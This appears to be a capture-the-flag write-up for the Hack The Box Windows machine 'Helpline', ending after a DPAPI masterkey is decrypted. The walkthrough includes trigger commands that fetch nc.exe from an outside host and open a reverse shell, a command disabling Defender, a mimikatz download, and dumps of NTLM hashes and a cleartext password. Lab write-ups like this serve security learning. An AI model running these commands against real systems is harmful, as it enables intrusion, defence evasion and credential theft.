htb-helpline-nl

The first shell I got on this box was as nt authority/system which means that I technically rooted the box. But the flags were EFS encrypted so I had to find a way to read them. It’s a Windows box and its ip is 10.10.10.152, I added it to /etc/hosts as helpline.htb.


Nmap

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/helpline# nmap -sV -sT -sC 10.10.10.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-05 09:28 EDT
Nmap scan report for 10.10.10.132
Host is up (0.046s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
8080/tcp open http-proxy -
| fingerprint-strings: 
| GetRequest: 
| HTTP/1.1 200 OK
| Set-Cookie: JSESSIONID=606C1FDF44C79201E2AB5302D51C6154; Path=/; HttpOnly
| Cache-Control: private
| Expires: Thu, 01 Jan 1970 01:00:00 GMT
| Content-Type: text/html;charset=UTF-8
| Vary: Accept-Encoding
| Date: Thu, 05 Sep 2019 13:27:56 GMT
| Connection: close
| Server: -
| <!DOCTYPE html>
| <html>
| <head>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <script language='JavaScript' type="text/javascript" src='/scripts/Login.js?9309'></script>
| <script language='JavaScript' type="text/javascript" src='/scripts/jquery-1.8.3.min.js'></script>
| <link href="/style/loginstyle.css?9309" type="text/css" rel="stylesheet"/>
| <link href="/style/new-classes.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/new-classes-sdp.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/conflict-fix.css?9309" type="text/css" rel="stylesheet">
| HTTPOptions: 
| HTTP/1.1 200 OK
| Set-Cookie: JSESSIONID=8606E78ACB1C1EB0C51362E6078F4108; Path=/; HttpOnly
| Cache-Control: private
| Expires: Thu, 01 Jan 1970 01:00:00 GMT
| Content-Type: text/html;charset=UTF-8
| Vary: Accept-Encoding
| Date: Thu, 05 Sep 2019 13:27:58 GMT
| Connection: close
| Server: -
| <!DOCTYPE html>
| <html>
| <head>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <script language='JavaScript' type="text/javascript" src='/scripts/Login.js?9309'></script>
| <script language='JavaScript' type="text/javascript" src='/scripts/jquery-1.8.3.min.js'></script>
| <link href="/style/loginstyle.css?9309" type="text/css" rel="stylesheet"/>
| <link href="/style/new-classes.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/new-classes-sdp.css?9309" type="text/css" rel="stylesheet">
|_ <link href="/style/conflict-fix.css?9309" type="text/css" rel="stylesheet">
|_http-server-header: -
|_http-title: ManageEngine ServiceDesk Plus
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=9/5%Time=5D710D84%P=x86_64-pc-linux-gnu%r(Get
SF:Request,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSESSIONID=606C1
SF:FDF44C79201E2AB5302D51C6154;\x20Path=/;\x20HttpOnly\r\nCache-Control:\x
SF:20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00:00\x20GMT\r
SF:\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Accept-Encoding\
SF:r\nDate:\x20Thu,\x2005\x20Sep\x202019\x2013:27:56\x20GMT\r\nConnection:
SF:\x20close\r\nServer:\x20-\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n<m
SF:eta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\n\n\n\r
SF:\n\n\x20\x20\x20\x20<script\x20language='JavaScript'\x20type=\"text/jav
SF:ascript\"\x20src='/scripts/Login\.js\?9309'></script>\n\x20\x20\x20\x20
SF:<script\x20language='JavaScript'\x20type=\"text/javascript\"\x20src='/s
SF:cripts/jquery-1\.8\.3\.min\.js'></script>\n\x20\x20\x20\x20\n\x20\x20\x
SF:20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20type=\"text/css
SF:\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\"/style/new-
SF:classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\
SF:x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?9309\"\x20type=
SF:\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\x20href=\"/s
SF:tyle/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet
SF:\">")%r(HTTPOptions,1534,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSES
SF:SIONID=8606E78ACB1C1EB0C51362E6078F4108;\x20Path=/;\x20HttpOnly\r\nCach
SF:e-Control:\x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00
SF::00\x20GMT\r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Acce
SF:pt-Encoding\r\nDate:\x20Thu,\x2005\x20Sep\x202019\x2013:27:58\x20GMT\r\
SF:nConnection:\x20close\r\nServer:\x20-\r\n\r\n<!DOCTYPE\x20html>\n<html>
SF:\n<head>\n<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\
SF:">\n\n\n\n\r\n\n\x20\x20\x20\x20<script\x20language='JavaScript'\x20typ
SF:e=\"text/javascript\"\x20src='/scripts/Login\.js\?9309'></script>\n\x20
SF:\x20\x20\x20<script\x20language='JavaScript'\x20type=\"text/javascript\
SF:"\x20src='/scripts/jquery-1\.8\.3\.min\.js'></script>\n\x20\x20\x20\x20
SF:\n\x20\x20\x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20typ
SF:e=\"text/css\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\
SF:"/style/new-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"styleshe
SF:et\">\n\x20\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?930
SF:9\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\
SF:x20href=\"/style/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=
SF:\"stylesheet\">");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -39s
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2019-09-05T13:29:35
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.49 seconds

We got http on port 8080 and smb. I tried to list smb shares but I couldn’t authenticate anonymously :

root@kali:~/Desktop/HTB/boxes/helpline# smbclient --list //helpline.htb/ -U ""
Enter WORKGROUP\'s password: 
session setup failed: NT_STATUS_LOGON_FAILURE

HTTP Initial Enumeration, Administrative Access

On the http port there was an application called ManageEngine ServiceDesk Plus
I tried some common credentials like admin:admin and guest:guest which actually worked : 


But as guest my capabilities were limited so I had to elevate to an administrative user.

I used the published exploit that does the same thing automatically  as  user enumeration vulnerability .

i used below (learned from ippsec) to allow curl to go trough burp

root@kali:~/htb/helpline# cat ~/.curlrc 
proxy = http://127.0.0.1:8080


next hit F5 refresh in Browser ( after replacing the 2 cookies  JSESSIONID and JSESSIONSSO ), and the admin tab is displayed !


RCE

I checked the Admin section and Custom Triggers under Helpdesk Customizer caught my attention. 


Description says : “You can define rules to automatically invoke any custom class or script file. The action rules can be applied to a request when it is created, (or received) or edited or both”
I ran a python http server to host nc.exe then I created a trigger that executes :

powershell -command Invoke-WebRequest http://10.10.14.7/nc.exe -OutFile C:\Windows\System32\spool\drivers\color\nc.exe

When a request is created (it must has the word test in the subject). 


Last thing to do is to create a request that runs the trigger : 

root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.132 - - [05/Sep/2019 09:40:51] "GET /nc.exe HTTP/1.1" 200 -

I edited the trigger and made it execute :

C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.7 9001

Then I created another request and got a reverse shell as nt authority\system :

root@kali:~/htb# nc -lvp 9001
listening on [any] 9001 ...
10.10.10.132: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.132] 49743
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

E:\ManageEngine\ServiceDesk\integration\custom_scripts>whoami
whoami
nt authority\system

E:\ManageEngine\ServiceDesk\integration\custom_scripts>

Encrypted Flags

Although I was system I couldn’t read the flags :

E:\ManageEngine\ServiceDesk\integration\custom_scripts>c:                         
c:              
C:\>cd Users                  
cd Users 
C:\Users>cd Administrator           
cd Administrator
C:\Users\Administrator>cd Desktop                 
cd Desktop
C:\Users\Administrator\Desktop>type root.txt                           
type root.txt
Access is denied.
C:\Users>cd tolu
cd tolu

C:\Users\tolu>cd Desktop
cd Desktop

C:\Users\tolu\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\tolu\Desktop

12/29/2018  10:21 PM    <DIR>          .
12/29/2018  10:21 PM    <DIR>          ..
12/21/2018  12:12 AM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)   5,851,750,400 bytes free

C:\Users\tolu\Desktop>type user.txt
type user.txt
Access is denied.

That’s because the flags are EFS encrypted :

C:\Users\Administrator\Desktop>cipher /c root.txt
cipher /c root.txt

 Listing C:\Users\Administrator\Desktop\
 New files added to this directory will not be encrypted.

E root.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]
    Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3

  No recovery certificate found.

  Key information cannot be retrieved.

The specified file could not be decrypted.


C:\Users\Administrator\Desktop>cipher /c ../../tolu/Desktop/user.txt
cipher /c ../../tolu/Desktop/user.txt

 Listing C:\Users\tolu\Desktop\
 New files added to this directory will not be encrypted.

E user.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    HELPLINE\tolu [tolu(tolu@HELPLINE)]
    Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29 

  No recovery certificate found.

  Key information cannot be retrieved.

The specified file could not be decrypted.


C:\Users\Administrator\Desktop>

To decrypt them we need Administrator’s password for root.txt and tolu’s password for user.txt. First time I solved this box I got the root flag first as it was easier but for the write-up I’ll do user flag first.


user.txt

Since we need passwords, first thing I did was to put mimikatz on the box and dump the password hashes.
But before that I had to disable :

PS C:\Users\Administrator\Desktop> Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\Users\Administrator\Desktop> 
PS C:\windows\system32\spool\drivers\color> Invoke-WebRequest http://10.10.xx.xx/mimikatz.exe -OutFile mimikatz.exe
Invoke-WebRequest http://10.10.xx.xx/mimikatz.exe -OutFile mimikatz.exe
PS C:\windows\system32\spool\drivers\color> dir
dir


    Directory: C:\windows\system32\spool\drivers\color
    
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/15/2018   8:12 AM           1058 D50.camp
-a----        9/15/2018   8:12 AM           1079 D65.camp
-a----        9/15/2018   8:12 AM            797 Graphics.gmmp
-a----        9/15/2018   8:12 AM            838 MediaSim.gmmp
-a----        8/16/2019   1:24 PM        1006744 mimikatz.exe
-a----        8/16/2019   1:47 PM          38616 nc.exe
-a----        9/15/2018   8:12 AM            786 Photo.gmmp
-a----        9/15/2018   8:12 AM            822 Proofing.gmmp
-a----        9/15/2018   8:12 AM         218103 RSWOP.icm
-a----        9/15/2018   8:12 AM           3144 sRGB Color Space Profile.icm
-a----        9/15/2018   8:12 AM          17155 wscRGB.cdmp
-a----        9/15/2018   8:12 AM           1578 wsRGB.cdmp

PS C:\windows\system32\spool\drivers\color> 
mimikatz # lsadump::sam
Domain : HELPLINE
SysKey : f684313986dcdab719c2950661809893
Local SID : S-1-5-21-3107372852-1132949149-763516304

SAMKey : 9db624e549009762ee47528b9aa6ed34

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: d5312b245d641b3fae0d07493a022622

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 52a344a6229f7bfa074d3052023f0b41

RID  : 000003e8 (1000)
User : alice
  Hash NTLM: 998a9de69e883618e987080249d20253

RID  : 000003ef (1007)
User : zachary
  Hash NTLM: eef285f4c800bcd1ae1e84c371eeb282

RID  : 000003f1 (1009)
User : leo
  Hash NTLM: 60b05a66232e2eb067b973c889b615dd

RID  : 000003f2 (1010)
User : niels
  Hash NTLM: 35a9de42e66dcdd5d512a796d03aef50

RID  : 000003f3 (1011)
User : tolu
  Hash NTLM: 03e2ec7aa7e82e479be07ecd34f1603b

The only crackable hash was zachary’s : 
But what can we do with zachary ?

PS C:\windows\system32\spool\drivers\color> net users zachary
net users zachary
User name                    zachary
Full Name                    zachary
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/21/2018 10:25:34 PM
Password expires             Never
Password changeable          12/21/2018 10:25:34 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   8/16/2019 1:37:32 PM

Logon hours allowed          All

Local Group Memberships      *Event Log Readers    *Users
Global Group memberships     *None
The command completed successfully.

zachary is a member of a local group called Event Log Readers, maybe there is something in the event log, I queried the event log with wevtutil and saved the output in a file :

C:\Windows\System32\spool\drivers\color>wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt                                                                        
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt

C:\Windows\System32\spool\drivers\color>

The output was a very long one so I searched for interesting stuff like usernames, by searching for tolu I got this net use command which had tolu's password :

C:\Windows\System32\spool\drivers\color>type eventlog.txt | findstr tolu                                                                   
type eventlog.txt | findstr tolu                                                                                                           
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                   
        Account Name:           tolu                                                                                   
        Account Name:           tolu                                                                                   
        Account Name:           tolu
    ----------------
     Removed Output
    ----------------
Process Command Line:   "C:\Windows\system32\systeminfo.exe" /S \\helpline /U /USER:tolu /P !zaq1234567890pl!99                                                                                           
        Account Name:           tolu
Logon Account:  tolu
        Account Name:           tolu
        Process Command Line:   "C:\Windows\system32\net.exe" use T: \\helpline\helpdesk_stats /USER:tolu !zaq1234567890pl!99                                                                                     
        Account Name:           tolu
        Account Name:           tolu

tolu : !zaq1234567890pl!99
tolu is in the Remote Management Users local group :

C:\Windows\System32\spool\drivers\color>net users tolu
net users tolu
User name                    tolu
Full Name                    tolu
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/28/2018 10:52:52 PM
Password expires             Never
Password changeable          12/28/2018 10:52:52 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   12/29/2018 10:20:44 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users                
Global Group memberships     *None                 
The command completed successfully.

And winrm’s port is open : 
So I thought of authenticating as tolu to read the flag (I used evilwinrm)

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i helpline -u tolu -p '!zaq1234567890pl!99' -s './ps1_scripts/' -e './exe_files/'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tolu\documents> cd ..
*Evil-WinRM* PS C:\Users\tolu> cd Desktop
*Evil-WinRM* PS C:\Users\tolu\Desktop> dir

Directory: C:\Users\tolu\Desktop

Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a---- 12/20/2018 11:12 PM 32 user.txt

*Evil-WinRM* PS C:\Users\tolu\Desktop> type user.txt
Access to the path 'C:\Users\tolu\Desktop\user.txt' is denied.
At line:1 char:1
+ type user.txt
+ ~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\tolu\Desktop\user.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\tolu\Desktop>

But I still couldn’t read the flag …

I found this guide to decrypt EFS files with mimikatz, by following it I was able to decrypt the user flag.
We need to get the certificate and decrypt the master/private keys (details in the guide mentioned above) :

mimikatz # crypto::system /file:"C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A6692F29" /export                                                                               
* File: 'C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A6692F29'                                                                                      
[0045/1] BACKED_UP_PROP_ID                                                                     00                                                                                         [0002/1] KEY_PROV_INFO_PROP_ID                                                                 Provider info:                                                                                     Key Container  : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d                                       Provider       : Microsoft Enhanced Cryptographic Provider v1.0                             Provider type  : RSA_FULL (1)                                                               Type           : AT_KEYEXCHANGE (0x00000001)                                                 Flags          : 00000000                                                                   Param (todo)   : 00000000 / 00000000                                                 [0003/1] SHA1_HASH_PROP_ID
  91ef5d08d1f7c60aa0e4cee73e050639a6692f29
[0020/1] cert_file_element
  Data:
308202f9308201e1a0030201020210560e4d2b13840a9f4ef8246c32c1950f300d06092a864886f70d0101050500300f310d300b06035504031304746f6c753020170d3138313232393231323133335a180f32313138313230353231323133335a300f310d3
00b06035504031304746f6c7530820122300d06092a864886f70d01010105000382010f003082010a0282010100b661bbc3191aed3031d754ceee0cef50462a746656b973a74bed822fa31d44b8eb9ce1f165ef9f9691863b18694d0d72ddbb4ed40bc91021ef9ec7dc
977242dbab9d9124e548d7f71bfa191de5d0fd1d23de24a10958c5821adb7b89b350e5c3da17cdffdf828659dd8732f55bc7bd4f7e7c167f3f054520c34a4b280dbe0e86faae45082eeed8422549a49134b398351563c62dab70cfa3bb66d9cf07e749f3c2bc9a554a8
b2bcda9559d3f42b7b1fed755c519f26243756363efd93cae3f71aa813af0757d231a43daae5b3dc4303b330833e2db7cad6af45ab9c2b756c2de5af4f250df1c58e35bdfb3ccbc6c3be0db973faf27314413375d7b1c40dbc3310203010001a34f304d30150603551d
25040e300c060a2b0601040182370a030430290603551d1104223020a01e060a2b060104018237140203a0100c0e746f6c754048454c504c494e450030090603551d1304023000300d06092a864886f70d010105050003820101001054e49d105efb13f699ec26dd8f2
828eff46966b8b3623dafb132b287e4a4c870261bb6bec2acf8a8a648aead2b8c9daeb366d6096889ea23cba08d71b78aa9c09e92218c6bbd5b17e67910c551f0f452963d730f5b90c6be10048c1234087bcd1cdcc0f17adae55452f7f0b495414f54de59ff39f513e8
1aae5c1aa6e54beb8561aa5795cb59dddbfe528b9020d1f4d1aab1842eafbc0c0d92c75aa42ab1dd278262676a2fd5a39b526544d37cf59c2647db5efb743c78fb744be0cf41b2512c7f42dbb2949cbe359aca36b17670247b49b12c27119f7d358ca38e70c3ccebd13
c5bccc7236ae09646af07077233b49a5615cb8be05b642e09de595c89dfb9
  Saved to file: 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der


mimikatz # dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"

**KEY (capi)**

  dwVersion          : 00000002 - 2
  dwUniqueNameLen    : 00000025 - 37
  dwSiPublicKeyLen   : 00000000 - 0
  dwSiPrivateKeyLen  : 00000000 - 0
  dwExPublicKeyLen   : 0000011c - 284
  dwExPrivateKeyLen  : 00000650 - 1616
  dwHashLen          : 00000014 - 20
  dwSiExportFlagLen  : 00000000 - 0
  dwExExportFlagLen  : 000000fc - 252
  pUniqueName        : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d
  pHash              : 0000000000000000000000000000000000000000
  pSiPublicKey       :
  pSiPrivateKey      :
  pSiExportFlag      :
  pExPublicKey       : 525341310801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef63637543
62f219c555d7feb1b7423f9d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e
51d19fa1bf7d748e524919dabdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b60000000000000000                                         
  pExPrivateKey      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 0000002c - 44
    szDescription      : CryptoAPI Private Key
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : d05086dc4a0e8c37b26b9298d6e507a07e6b01495c8e874636d6555909860bfc
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : b7a581f4205455a35c32cf2bae9d3be3fd90990ae6f63c417e9c5a06084d04f1
    dwDataLen          : 00000550 - 1360
    pbData             : 0dd1b5843b4e6da999ab982ff7bef727bd63f11eb222fd81420d24e0dc8a8c03910ddca26dba324e943a5357776530618f14c74382062047acb3f35debdb8f885a283c3644542dde4aa1175ac9d7a23e014bb92d85c2f51dd8eb6d0007
a2f4ca83df25b59f32794c2a4e227e526cd2d5f4a222ca9c14be15e62982107d91865a3e0fc04708144aa7fe7f7baf0c5a7b99c18f96e82c1f01dc8b41df64b51befd3a978a9d47a72246ceadfda631d09be350a4d3bf1301fba7e1b6c6e0c40bf95ce9e154f79cbef2
6d7a3c00d538e490132954d4ee94619dcdaf75e64676c89e89317d4668fe4b942a7bc21371efa3adf08152dabdf0d16e608cda6bdcca193771d736e19505e51f6e972ef5da070b0023e740dd96893d0458da1994f72aa3bc6846218e4634d4a199f698dcce5d2a96c68
8bb20d8138ac743fbff1a43934bbdcff40145ebc815edaf5080d63656236aba75261d7fe0b915e393912d8fe731bb4ab232f88553918c17d95f81605fb24bb9a7527e2eda01fc088e653ce99d58143a74595d47169cf58a2308e128e3956c0c4e225b1dfa0cd8cf0307
b670977c3b62b30bd09846e993779c4471cbd0682dc9bf038bfb8daf8286c0fd4fbcdcf135cb48dc38f0d34342a0116aef4211104657c20db578d9b21b2dbe2505bccc86a48b343f0f9df63482562f86f4015e6dc327a209684049188251506a8f39ae8946a9cdec43$
bb71e7d4fac63f33932dd0bd52fa5ffd48ff11c415e856a496252378fb19c456c3e191a19621c292654af48228906eac7ae5717a77a2c616e194ea9189e77cfa0252da0180fe128fa9f3a0cd826f7530dc03428e6ecbbc7ae7bffe0ce2780b3ba686c3d73f3da55af6$
65fec2c22cbb119a698c5bbbed802d3a31fb44e395606adb58e0b0e2030910281dbeeb76bddebf2ae6862633f839324cb72a9c05a7d24acc3cdad9648be0e816039581d4eb3ddefdc1457d3175b5c776ca445bd409038b6369fa9151f6ee88ab44e9d64b40ecd09e89$
7e2b36e51c44f93bc5a985c13cc0f8d31aad776167b027c28a09943580d848af506c68a400ed93734dbe579a84837a90c6fd60d338e9e981599086da725d7e6c87f89f9a59979672a8b74c704e848fc6cac786e49a3b7f310b2839d67652a9ae3018ce6aca06f6e60b$
bcf526f859a618b32b7b112088eefccf69e873e1d62a20b416203a2428d08abe22518eecfe0a5115a82efb21d467854444b15db49e82c4442aaa045fdf4ea725295da78d14082c9140b6ea6356039b48e53fb7eb8d3ea21713c346d6ff381aaf709c5e83e7d0c5e330$
f7374caccf6312f8f36afc041fcfd89a7e93d453393c991c3887d6b98179cc254172dfd4a09c968a25dab0b53df6f38c6b22e9352d0920789920659b1cb55c61f74bccb63fc397e0997f896e55efbaf200629dd399584f1675ebe588b025ee4160387aa3a5a3239899$
75a97eddbf5dc1dbf4defb894091c851f73413e2da6d7a39e23481dcda7857311a2816d720c0da057952e2d4218b2f4f735469cc4d15324de94b7036fb072afdb708929363934351feecc27c0c81206cafaa7bd5748456799cb528773cafc4b6f6fa25c6bc617b537ac
b354b10ddeb628974ad787f792a9b2564741b1ca8538de0647ab945e25aec233b247ca228111bcdafeed17f032d7277507934895b07197e8331451cd9eff35681afc625741ff13ee1daac61e16bea787ad2b3901a52d29c75c33a31d7993ed92a70d2196109d59b817f
e6471f24540f59c95d082556d05333201a4f54c71db4d135308c5339ecf8c63258a73e71d86b7ec0f3d71b8103de2d4b886b51f9994eb2f8a62c9bb444f8e1c19096085d4a67a9a16a9b74bb2d74c0298e499260dcdedd2d1cf94ed1f2e2bf1c4a194f79a3ff1bfb17c
6a
    dwSignLen          : 00000040 - 64
    pbSign             : b3854af7c1faaa30806aa909e65813225a9aede7b0705c4c186d080ced4883b22e9a06acfb1d7762b1c69e368dcecd0de3a7e8b8f112e61cd9231ad5c5eef596                                                         

  pExExportFlag      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 00000018 - 24
    szDescription      : Export Flag
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : 61af1a324f58c63a6bb3767357892b8c95d9a9a0dea6da062322afc39734c72a
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : ee6cef3310951fa86aba9b0bc3b23c237d23fbac008175bf670b68b73899e983
    dwDataLen          : 00000010 - 16
    pbData             : 3766e1ec88316997e9aeb13d847c396e
    dwSignLen          : 00000040 - 64
    pbSign             : 1d17141018652ad326ebd1a9c3030feb1356fede8002391d9fbba2d5c75221e654aef732841a04638f5577b59e63c8037ed26c7e4f6d1ed34a6244c33e631800                                                         


mimikatz # dpapi::masterkey /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:!zaq1234567890pl!99                
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 80ba00dd649b0237d847b3c30d155a36
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 9dd4c16fe8fc2375858f5fdc643770d26bd55c48fec169c28d901820ebe28ea0d6845d2867e3a2bb3b763108da7fb69b5203d8a73ffb22b44d21949150546a0387e2a7d05a18b877f06d0dfe8baf89fc4029070bd5f0a5ac9cbe2379dda7facf6a2455ed8dae4dacd51b981b147ebddf12da71d4b22d675925ed576d92247aac8a39eb5080607382ecf2c3e9ea92ce2f

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : bce3d5c5463ff84017a1f9eabfb4b9ea
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 6d4e0478c22d0a52f7bc66249a0c6a7071991300dd122c4bee0aa31b72273938f336a44d08a15a2effcb2e5787069ab153e666dcd518b7af23e168577f56739f68c42e057508d7d5ffb16bf18d9e720873e644152d461d83356f500f4b8efbbcc9ee073a718134111f8b2708bf0f1645

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {0cc50e66-d2f0-43dc-97a5-5edac908aef9}


Auto SID from path seems to be: S-1-5-21-3107372852-1132949149-763516304-1011

[masterkey] with password: !zaq1234567890pl!99 (normal user)
  key : 1d0cea3fd8c42574c1a286e3938e6038d3ed370969317fb413b339f8699dcbf7f563b42b72ef45b394c61f73cc90c62076ea847f4c1e1fee3947f381d56d0f02                                                                          
  sha1: 8ece5985210c26ecf3dd9c53a38fc58478100ccb

